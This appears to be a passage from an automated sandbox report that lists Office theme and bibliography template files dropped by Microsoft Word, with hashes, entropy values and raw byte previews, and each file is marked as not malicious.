C:\Users\user\AppData\Local\Temp\TCD8B87.tmp\APASixthEditionOfficeOnline.xsl

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	333258
Entropy (8bit):	4.654450340871081
Encrypted:	false
SSDEEP:	6144:ybW83Zb181+MKHZR5D7H3hgtfL/8mIDbEhPv9FHSVsioWUyGYmwxAw+GIfnUNv5J:i
MD5:	5632C4A81D2193986ACD29EADF1A2177
SHA1:	E8FF4FDFEB0002786FCE1CF8F3D25F8E9631E346
SHA-256:	06DE709513D7976690B3DD8F5FDF1E59CF456A2DFBA952B97EACC72FE47B238B
SHA-512:	676CE1957A374E0F36634AA9CFFBCFB1E1BEFE1B31EE876483B10763EA9B2D703F2F3782B642A5D7D0945C5149B572751EBD9ABB47982864834EF61E3427C796
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>....<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt".xmlns:b="http://schemas.openxmlformats.org/officeDocument/2006/bibliography" xmlns:t="http://www.microsoft.com/temp">.. <xsl:output method="html" encoding="us-ascii"/>.... <xsl:template match="*" mode="outputHtml2">.. <xsl:apply-templates mode="outputHtml"/>.. </xsl:template>.... <xsl:template name="StringFormatDot">.. <xsl:param name="format" />.. <xsl:param name="parameters" />.... <xsl:variable name="prop_EndChars">.. <xsl:call-template name="templ_prop_EndChars"/>.. </xsl:variable>.... <xsl:choose>.. <xsl:when test="$format = ''"></xsl:when>.. <xsl:when test="substring($format, 1, 2) = '%%'">.. <xsl:text>%</xsl:text>.. <xsl:call-template name="StringFormatDot">.. <xsl:with-param name="format" select="substring($format, 3)" />.. <xsl:with-param name=

C:\Users\user\AppData\Local\Temp\TCD8B87.tmp\Content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	328
Entropy (8bit):	3.541819892045459
Encrypted:	false
SSDEEP:	6:fxnxUXuqRDA5McaQVTi8ME3QepmlJ0+3FbnKfZObdADryMluxHZypwwyv:fxny+AASZQoNGHmD0wbnKYZAH/lMZqiv
MD5:	C3216C3FC73A4B3FFFE7ED67153AB7B5
SHA1:	F20E4D33BABE978BE6A6925964C57D6E6EF1A92E
SHA-256:	7CF1D6A4F0BE5E6184F59BFB1304509F38E480B59A3B091DBDC43B052D2137CB
SHA-512:	D3B78BE6E7633FF943F5E34063B5EFA4AF239CD49F437227FC7575F6CC65C497B7D6F6A979EA065065BEAF257CB368560B5462542692286052B5C7E5C01755BC
Malicious:	false
Preview:	[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .A.P.A.S.i.x.t.h.E.d.i.t.i.o.n.O.f.f.i.c.e.O.n.l.i.n.e...x.s.l.....C.o.m.p.o.n.e.n.t.:. .W.o.r.d.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.W.D.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. ./.f. .{.F.i.l.e.P.a.t.h.}.........

C:\Users\user\AppData\Local\Temp\TCD8B88.tmp\Dividend.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	570901
Entropy (8bit):	7.674434888248144
Encrypted:	false
SSDEEP:	6144:D2tTXiO/3GH5SkPQVAqWnGrkFxvay910UUTWZJarUv9TA0g8:kX32H+VWgkFxSgGTmarUv9T
MD5:	D676DE8877ACEB43EF0ED570A2B30F0E
SHA1:	6C8922697105CEC7894966C9C5553BEB64744717
SHA-256:	DF012D101DE808F6CD872DFBB619B16732C23CF4ABC64149B6C3CE49E9EFDA01
SHA-512:	F40BADA680EA5CA508947290BA73901D78DE79EAA10D01EAEF975B80612D60E75662BDA542E7F71C2BBA5CA9BA46ECAFE208FD6E40C1F929BB5E407B10E89FBD
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD8B88.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5459495297497368
Encrypted:	false
SSDEEP:	6:Q+sxnxUXvBAuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnypJymD0wbnKNAH/lMz1
MD5:	76340C3F8A0BFCEDAB48B08C57D9B559
SHA1:	E1A6672681AA6F6D525B1D17A15BF4F912C4A69B
SHA-256:	78FE546321EDB34EBFA1C06F2B6ADE375F3B7C12552AB2A04892A26E121B3ECC
SHA-512:	49099F040C099A0AED88E7F19338140A65472A0F95ED99DEB5FA87587E792A2D11081D59FD6A83B7EE68C164329806511E4F1B8D673BEC9074B4FF1C09E3435D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .D.i.v.i.d.e.n.d...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8BA8.tmp\Metropolitan.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	777647
Entropy (8bit):	7.689662652914981
Encrypted:	false
SSDEEP:	6144:B04bNOJMngI856k0wwOGXMaXTLaTDmfBaN2Tx9iSUk1PdSnc0lnDlcGMcEFYYYYt:xbY6ngI46Aw5dmyYYYYYYYYY7p8d
MD5:	B30D2EF0FC261AECE90B62E9C5597379
SHA1:	4893C5B9BE04ECBB19EE45FFCE33CA56C7894FE3
SHA-256:	BB170D6DE4EE8466F56C93DC26E47EE8A229B9C4842EA8DD0D9CCC71BC8E2976
SHA-512:	2E728408C20C3C23C84A1C22DB28F0943AAA960B4436F8C77570448D5BEA9B8D53D95F7562883FA4F9B282DFE2FD07251EEEFDE5481E49F99B8FEDB66AAAAB68
Malicious:	false
Preview:	PK.........V'B.._<....-.......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c...W..G.4D_.}T,.@...}....R.Z..4k.....Y..mEkLor.f^..O..P...`.../.\|u1..Y.....nK.......u=..2.tu~^L.Y5]/...~+.v...o....j.`?.S...../.by.\|..>."kZbs....H.9..m.z.]W.V.?~v........;...N.......w....;.z..N.......w.....R.~n..Ofu.-..K.e....{..A.~.8.#D..)o.7..........:2........=......f...u....[..}...u.6b...xz.[...G..\|#...$....)J./.......7.............oQ..]^.M........wy}7a.....&l................w.......l._...l..?.A..........r..9.\|.8.........{w...........n...]^.M........wy}7a.....&l.................`..z..`.....2.o...wx}.....>..c.M..Arr#.....nD..[.....w......n...]^.M........wy}7a.....&l........w........... ..Fp....w_Q....g..tL.i.?H.o...]^..........n...]^.M........wy}7a.....&l.................`..z..`

C:\Users\user\AppData\Local\Temp\TCD8BA8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	290
Entropy (8bit):	3.5091498509646044
Encrypted:	false
SSDEEP:	6:Q+sxnxUX1MiDuRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyFdMymD0wbnKNAH/lMz1
MD5:	23D59577F4AE6C6D1527A1B8CDB9AB19
SHA1:	A345D683E54D04CC0105C4BFFCEF8C6617A0093D
SHA-256:	9ADD2C3912E01C2AC7FAD6737901E4EECBCCE6EC60F8E4D78585469A440E1E2C
SHA-512:	B85027276B888548ECB8A2FC1DB1574C26FF3FCA7AF1F29CD5074EC3642F9EC62650E7D47462837607E11DCAE879B1F83DF4762CA94667AE70CBF78F8D455346
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .M.e.t.r.o.p.o.l.i.t.a.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8BC8.tmp\Basis.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	558035
Entropy (8bit):	7.696653383430889
Encrypted:	false
SSDEEP:	12288:DQ/oYjRRRRRRRRYcdY/5ASWYqBMp8xsGGEOzI7vQQwOyP:DQ/nRRRRRRRRxY/5JWYZ3GGbI8YA
MD5:	3B5E44DDC6AE612E0346C58C2A5390E3
SHA1:	23BCF3FCB61F80C91D2CFFD8221394B1CB359C87
SHA-256:	9ED9AD4EB45E664800A4876101CBEE65C232EF478B6DE502A330D7C89C9AE8E2
SHA-512:	2E63419F272C6E411CA81945E85E08A6E3230A2F601C4D28D6312DB5C31321F94FAFA768B16BC377AE37B154C6869CA387005693A79C5AB1AC45ED73BCCC6479
Malicious:	false
Preview:	PK..........1AE,.{E...#P......[Content_Types].xml..Mo.0.....Z..N7.=l......V0.-o..j?...H..sa......./UCb.'...r...w.i..e..<[....{2..U.m..N.{...r.....3.fj.o......2.*....;.L.6..&,D.Cld8...a.gZf.......r-v..><....~/......\|Zk.......a.R&.d.(.$..6..}.:.....3......1..[.p.....?..+....R...y,.fod.....e...-.\|..#..]j....n:...f...-J...i.^.:Y....T..........m^..~GNp../e}...N....a..5.d.8YcN..5.d.8Y...7..A..e...7Q."3...../.sL._...v...n..b..2].v....n.t....Z...Uk...j.&.Z....im\|.r....B.....7DaBuN.... ...>..>..>..>..>..>..>.........V}-.....Q}#.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7FaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}..&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b....7EaBuN.... ...>..>..>..>..>..>..>.........V}-...Q}3.&T..j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..i.o.,-k..b.\}..)...A.......[..PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...........84P....

C:\Users\user\AppData\Local\Temp\TCD8BC8.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5361139545278144
Encrypted:	false
SSDEEP:	6:Q+sxnxUXeMWMluRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnycMlMymD0wbnKNAH/lMz1
MD5:	133D126F0DE2CC4B29ECE38194983265
SHA1:	D8D701298D7949BE6235493925026ED405290D43
SHA-256:	08485EBF168364D846C6FD55CD9089FE2090D1EE9D1A27C1812E1247B9005E68
SHA-512:	75D7322BE8A5EF05CAA48B754036A7A6C56399F17B1401F3F501DA5F32B60C1519F2981043A773A31458C3D9E1EF230EC60C9A60CAC6D52FFE16147E2E0A9830
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.a.s.i.s...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8C57.tmp\Parallax.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Zip archive data, at least v2.0 to extract, compression method=deflate
Category:	dropped
Size (bytes):	924687
Entropy (8bit):	7.824849396154325
Encrypted:	false
SSDEEP:	12288:lsadD3eLxI8XSh4yDwFw8oWR+6dmw2ZpQDKpazILv7Jzny/ApcWqyOpEZULn:qLxI8XSh4yUF/oWR+mLKpYIr7l3ZQ7n
MD5:	97EEC245165F2296139EF8D4D43BBB66
SHA1:	0D91B68CCB6063EB342CFCED4F21A1CE4115C209
SHA-256:	3C5CF7BDB27592791ADF4E7C5A09DDE4658E10ED8F47845064DB1153BE69487C
SHA-512:	8594C49CAB6FF8385B1D6E174431DAFB0E947A8D7D3F200E622AE8260C793906E17AA3E6550D4775573858EA1243CCBF7132973CD1CF7A72C3587B9691535FF8
Malicious:	false
Preview:	PK..........1AS'......ip......[Content_Types].xml..n.@.._......8ie'......}.......(y...H}......3Fi..%2.v?..3..._...d=..E.g.....7.i.-.t5.6......}}.m9r.......m...ML.g.M.eV$.r...M..l0...A...M..j;.w={o.f..F....i..v......5..d;..D.ySa...M&..qdw>.O.{h...\|w..5.]..'.CS<.:8C}.g.\|E.../..>..].Tnml..I.......r.Gv.E....7.;.E......4/l.....6.K.C?1qz.O.v_..r......\c.c.>..lS........X.N.3N.sN..N.)'.%'..'..N.pL.E...T.!..CR....Ie..k.o..M..w.B.0}..3....v..+....,.q..pz.......v{.;....s3.\|..V..ZZ......0.[.....x.....!.!~.8.e..n..&.}p....s.i.. ..[]...q.r....~..+.A\...q............e.-)h9..."Z.>...5-C..`..g.}........r.A.+..\...r.>.... .W.\...re?..%.-/hiA..ZR.r.W.D.\}.EK..kZ.>......5..9.&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^h....L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i..`..G..j..).&T......Wlu.b....}..+.A\...q......~.WK.Z^..........>.h..`......}.....^j..K.L...H...!...r.>... .W...\...rE?............-+hIA..\}..r...-}..i.

C:\Users\user\AppData\Local\Temp\TCD8C57.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.51145753448333
Encrypted:	false
SSDEEP:	6:Q+sxnxUXKsWkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxny6svymD0wbnKNAH/lMz1
MD5:	7956D2B60E2A254A07D46BCA07D0EFF0
SHA1:	AF1AC8CA6FE2F521B2EE2B7ABAB612956A65B0B5
SHA-256:	C92B7FD46B4553FF2A656FF5102616479F3B503341ED7A349ECCA2E12455969E
SHA-512:	668F5D0EFA2F5168172E746A6C32820E3758793CFA5DB6791DE39CB706EF7123BE641A8134134E579D3E4C77A95A0F9983F90E44C0A1CF6CDE2C4E4C7AF1ECA0
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .P.a.r.a.l.l.a.x...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8C97.tmp\Quotable.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	966946
Entropy (8bit):	7.8785200658952
Encrypted:	false
SSDEEP:	24576:qBcvGBGhXQir6H1ws6+iU0YuA35VuinHX2NPs:ccvGBGdQ5CsMxQVj3yPs
MD5:	F03AB824395A8F1F1C4F92763E5C5CAD
SHA1:	A6E021918C3CEFFB6490222D37ECEED1FC435D52
SHA-256:	D96F7A63A912CA058FB140138C41DCB3AF16638BA40820016AF78DF5D07FAEDD
SHA-512:	0241146B63C938F11045FB9DF5360F63EF05B9B3DD1272A3E3E329A1BFEC5A4A645D5472461DE9C06CFE4ADB991FE96C58F0357249806C341999C033CD88A7AF
Malicious:	false
Preview:	PK..........1A.......F`......[Content_Types].xml..n.@.._.y.ac $..,........-..g@.u.G.+t.:........D1...itgt>...k..lz;].8Kg^....N.l..........0.~}....ykk.A`..N..\...2+.e.c..r..P+....I.e.......\|.^/.vc{......s..z....f^...8...'.zcN&.<....}.K.'h..X..y.c.qnn.s%...V('~v.W.......I%nX`.....G.........r.Gz.E..M.."..M....6n.a..V.K6.G?Qqz..............\e.K.>..lkM...`...k.5...sb.rbM8..8..9..pb..R..{>$..C.>......X..iw.'..a.09CPk.n...v....5n..Uk\...SC...j.Y.....Vq..vk>mi......z..t....v.]...n...e(.....s.i......]...q.r....~.WV/.j.Y......K..-.. Z..@.\.P..W...A..X8.`$C.F(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........c..0F...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP..........(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-.............0A...@Z.....v.+.A\...q.......ZAV'p)...R.D....K..-...h....eP.........w(.P..H...W..r.>... .W.C..zAV+.....@.\..h....r)...R..-..........T..GI..~.....~....PK..........1A.s@.....O......._rels/.rels...J.

C:\Users\user\AppData\Local\Temp\TCD8C97.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	282
Entropy (8bit):	3.5323495192404475
Encrypted:	false
SSDEEP:	6:Q+sxnxUXhduDARELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyxdumymD0wbnKNAH/lMz1
MD5:	BD6B5A98CA4E6C5DBA57C5AD167EDD00
SHA1:	CCFF7F635B31D12707DC0AC6D1191AB5C4760107
SHA-256:	F22248FE60A55B6C7C1EB31908FAB7726813090DE887316791605714E6E3CEF7
SHA-512:	A178299461015970AF23BA3D10E43FCA5A6FB23262B0DD0C5DDE01D338B4959F222FD2DC2CC5E3815A69FDDCC3B6B4CB8EE6EC0883CE46093C6A59FF2B042BC1
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .Q.u.o.t.a.b.l.e...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8D64.tmp\Berlin.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	976001
Entropy (8bit):	7.791956689344336
Encrypted:	false
SSDEEP:	24576:zHM7eZGgFiHMRej4N9tpytNZ+tIw5ErZBImlX0m:zHM7eZGgFiHMRej++NZ+F5WvllZ
MD5:	9E563D44C28B9632A7CF4BD046161994
SHA1:	D3DB4E5F5B1CC6DD08BB3EBF488FF05411348A11
SHA-256:	86A70CDBE4377C32729FD6C5A0B5332B7925A91C492292B7F9C636321E6FAD86
SHA-512:	8EB14A1B10CB5C7607D3E07E63F668CFC5FC345B438D39138D62CADF335244952FBC016A311D5CB8A71D50660C49087B909528FC06C1D10AF313F904C06CBD5C
Malicious:	false
Preview:	PK.........{MB.f}......p......[Content_Types].xml..`.I.%&/m.{.J.J..t...`.$.@........iG#).*..eVe]f.@....{...{...;.N'...?\fd.l..J..!....?~\|.?"....\|.{.[..e^7E......Gi..V.by..G..\|.......U..t.\|..mW...m..\|.5.j./..^d-.Y_.]e..E~wog...j...v......?..u....c.v...(=.v........F_..U..G...T.e.y)[..b.......3.m....6.X5.P........_...b../..}.-......~.-..z..d.......j.^.+c..E.V..~3}..U.7..~p.>.E..9^d....4%}.E.$....N..r....<....%...%.?....w.u...h........D...w.....h........Dkw...x..T....T....T....T....T....T....j...."[.J.....;..!4...M...............t.n-.{..skp...[;.......F...j.7...4fC...K1..K/..K-..K+..K)..K'..f9......Fl._.........d0...?7K7].........A.......Fl.............Ft....u.......Ft........\.......w....R.......R.......R........o...].`.....A....#.`..\.....S.._...4...o.........W<x#..............w#...r.nD..]....\.~....\|......b...^...Z...V...R...N..W<x......l._...l..?.A......xp_Q..y<h..tL.i.?HNn...]..........r.nD..]~.........wy~7......Ft...........E/\|c.

C:\Users\user\AppData\Local\Temp\TCD8D64.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	278
Entropy (8bit):	3.5270134268591966
Encrypted:	false
SSDEEP:	6:Q+sxnxUXa3Y1kRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnyt1mymD0wbnKNAH/lMz1
MD5:	327DA4A5C757C0F1449976BE82653129
SHA1:	CF74ECDF94B4A8FD4C227313C8606FD53B8EEA71
SHA-256:	341BABD413AA5E8F0A921AC309A8C760A4E9BA9CFF3CAD3FB2DD9DF70FD257A6
SHA-512:	9184C3FB989BB271B4B3CDBFEFC47EA8ABEB12B8904EE89797CC9823F33952BD620C061885A5C11BBC1BD3978C4B32EE806418F3F21DA74F1D2DB9817F6E167E
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .B.e.r.l.i.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8E05.tmp\Savon.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1204049
Entropy (8bit):	7.92476783994848
Encrypted:	false
SSDEEP:	24576:+3zSQBxvOUIpHLYTCEmS1Wu09jRalJP3sdgnmAOFt0zU4L0MRx5QNn5:+bvI5UTCPu09qP3JPOFoR4N5
MD5:	FD5BBC58056522847B3B75750603DF0C
SHA1:	97313E85C0937739AF7C7FC084A10BF202AC9942
SHA-256:	44976408BD6D2703BDBE177259061A502552193B1CD05E09B698C0DAC3653C5F
SHA-512:	DBD72827044331215A7221CA9B0ECB8809C7C79825B9A2275F3450BAE016D7D320B4CA94095F7CEF4372AC63155C78CA4795E23F93166D4720032ECF9F932B8E
Malicious:	false
Preview:	PK..........1A..d T....P......[Content_Types].xml..Ms.@.....!...=.7....kX 5o.,L..<..........d..g/..dw.]...C...9...#g/."L..;...#. ]..f...w../._.3Y8..X.[..7._.[...K3..3.4......D.]l.?...~.&J&...s...;...H9...e.3.q.....k-.0>Lp:.7..eT...Y...P...OVg.....G..).aV...\Z.x...W.>f...oq.8.....I?Ky...g..."...J?....A$zL.].7.M.^..\....C..d/;.J0.7k.X4.e..?N{....r.."LZx.H?. ......;r.+...A<.;U.....4...!'k...s.&..)'k...d..d......._E..D...o..o...o...f.7;s..]...Uk6d.j..MW....5[C].f#...l;u.M..Z.../iM\|...b...s.....0..O.... ...>..>..>..>..>..>..>.........2V}......Q}#.&T...rU....\..\..\..\..\..\..\..\.W..W.^Z....Q}c;.o...>.Z..\.v...............................*Z....K.X.5X8.obG.MP.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.M.).....j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oZ/-c..`....7CaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,...\|...].k.........PK..........1A.s@.....O......._rels/.rels...J.1.._%..d...t......}...n2!..}6.>..`(.v...K`2...70...

C:\Users\user\AppData\Local\Temp\TCD8E05.tmp\content.inf

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	276
Entropy (8bit):	3.5364757859412563
Encrypted:	false
SSDEEP:	6:Q+sxnxUXARkRELpmlJ0+3FbnKf68dADryMluxHFpwwl:Q+sxnywMymD0wbnKNAH/lMz1
MD5:	CD465E8DA15E26569897213CA9F6BC9C
SHA1:	9EA9B5E6C9B7BF72A777A21EC17FD82BC4386D4C
SHA-256:	D4109317C2DBA1D7A94FC1A4B23FA51F4D0FC8E1D9433697AAFA72E335192610
SHA-512:	869A42679F96414FE01FE1D79AF7B33A0C9B598B393E57E0E4D94D68A4F2107EC58B63A532702DA96A1F2F20CE72E6E08125B38745CD960DF62FE539646EDD8D
Malicious:	false
Preview:	..[.F.i.l.e.].....O.r.i.g.i.n.a.l.N.a.m.e.:. .S.a.v.o.n...t.h.m.x.....C.o.m.p.o.n.e.n.t.:. .P.P.T.F.i.l.e.s.....R.e.q.V.e.r.:. .1.4.....E.x.e.c.u.t.a.b.l.e.:. .{.P.P.}.....S.t.o.r.e.L.o.c.a.t.i.o.n.:. .{.M.y. .T.e.m.p.l.a.t.e.s.}.....C.o.m.m.a.n.d.:. .{.F.i.l.e.P.a.t.h.}.....

C:\Users\user\AppData\Local\Temp\TCD8E15.tmp\Gallery.thmx

Download File

Process:	C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE
File Type:	Microsoft OOXML
Category:	dropped
Size (bytes):	1091485
Entropy (8bit):	7.906659368807194
Encrypted:	false
SSDEEP:	24576:oBpmCkw3Tg/euEB+UdoC4k7ytHkHA6B/puqW2MIkTeSBmKrZHQ:MR3c/AseydwppC7veSBmWHQ
MD5:	2192871A20313BEC581B277E405C6322
SHA1:	1F9A6A5E10E1C3FFEB6B6725C5D2FA9ECDF51085
SHA-256:	A06B302954A4C9A6A104A8691864A9577B0BFEA240B0915D9BEA006E98CDFFEC
SHA-512:	6D8844D2807BB90AEA6FE0DDDB9C67542F587EC9B7FC762746164B2D4A1A99EF8368A70C97BAD7A986AAA80847F64408F50F4707BB039FCCC509133C231D53B9
Malicious:	false
Preview:	PK...........G`.jaV....P......[Content_Types].xml...n.@...W......T@.mwM.E....)....y...H}.N..ll8.h5g6Q.=3_......?...x..e^Di.p.^.ud...(Y/..{w..r..9.../M...Q*{..E...(.4..>..y,.>..~&..b-.a.?..4Q2Q=.2.......m....>-....;]......N'..A...g.D.m.@(}..'.3Z....#....(+....-q<uq.+....?....1.....Y?Oy......O"..J?....Q$zT.].7.N..Q Wi.....<.........-..rY....hy.x[9.b.%-<.V?.(......;r.+...Q<.;U.....4...!'k...s.&..)'k...d.s..}R....o".D.I..7..7.KL.7..Z.....v..b.5.2].f....l.t....Z...Uk...j.&.U-....&>.ia1..9lhG..Q.P.'P.U}.k..rU..rU..rU..rU..rU..rU..rU..rU_EK_}.zi.....G.........j...r..]..CZ..CZ..CZ..CZ..CZ..CZ..CZ..h.oT/-c..`....7FaBu.@-W.A.]..U}H.U}H.U}H.U}H.U}H.U}H.U}H.U}.-}...e...,..7...&(L.....>.kw...i...i...i...i...i...i...i.......I...U_.....vT.....}..\...v..W.!-W.!-W.!-W.!-W.!-W.!-W.!-W.U...7.....k.pT...0..O.... 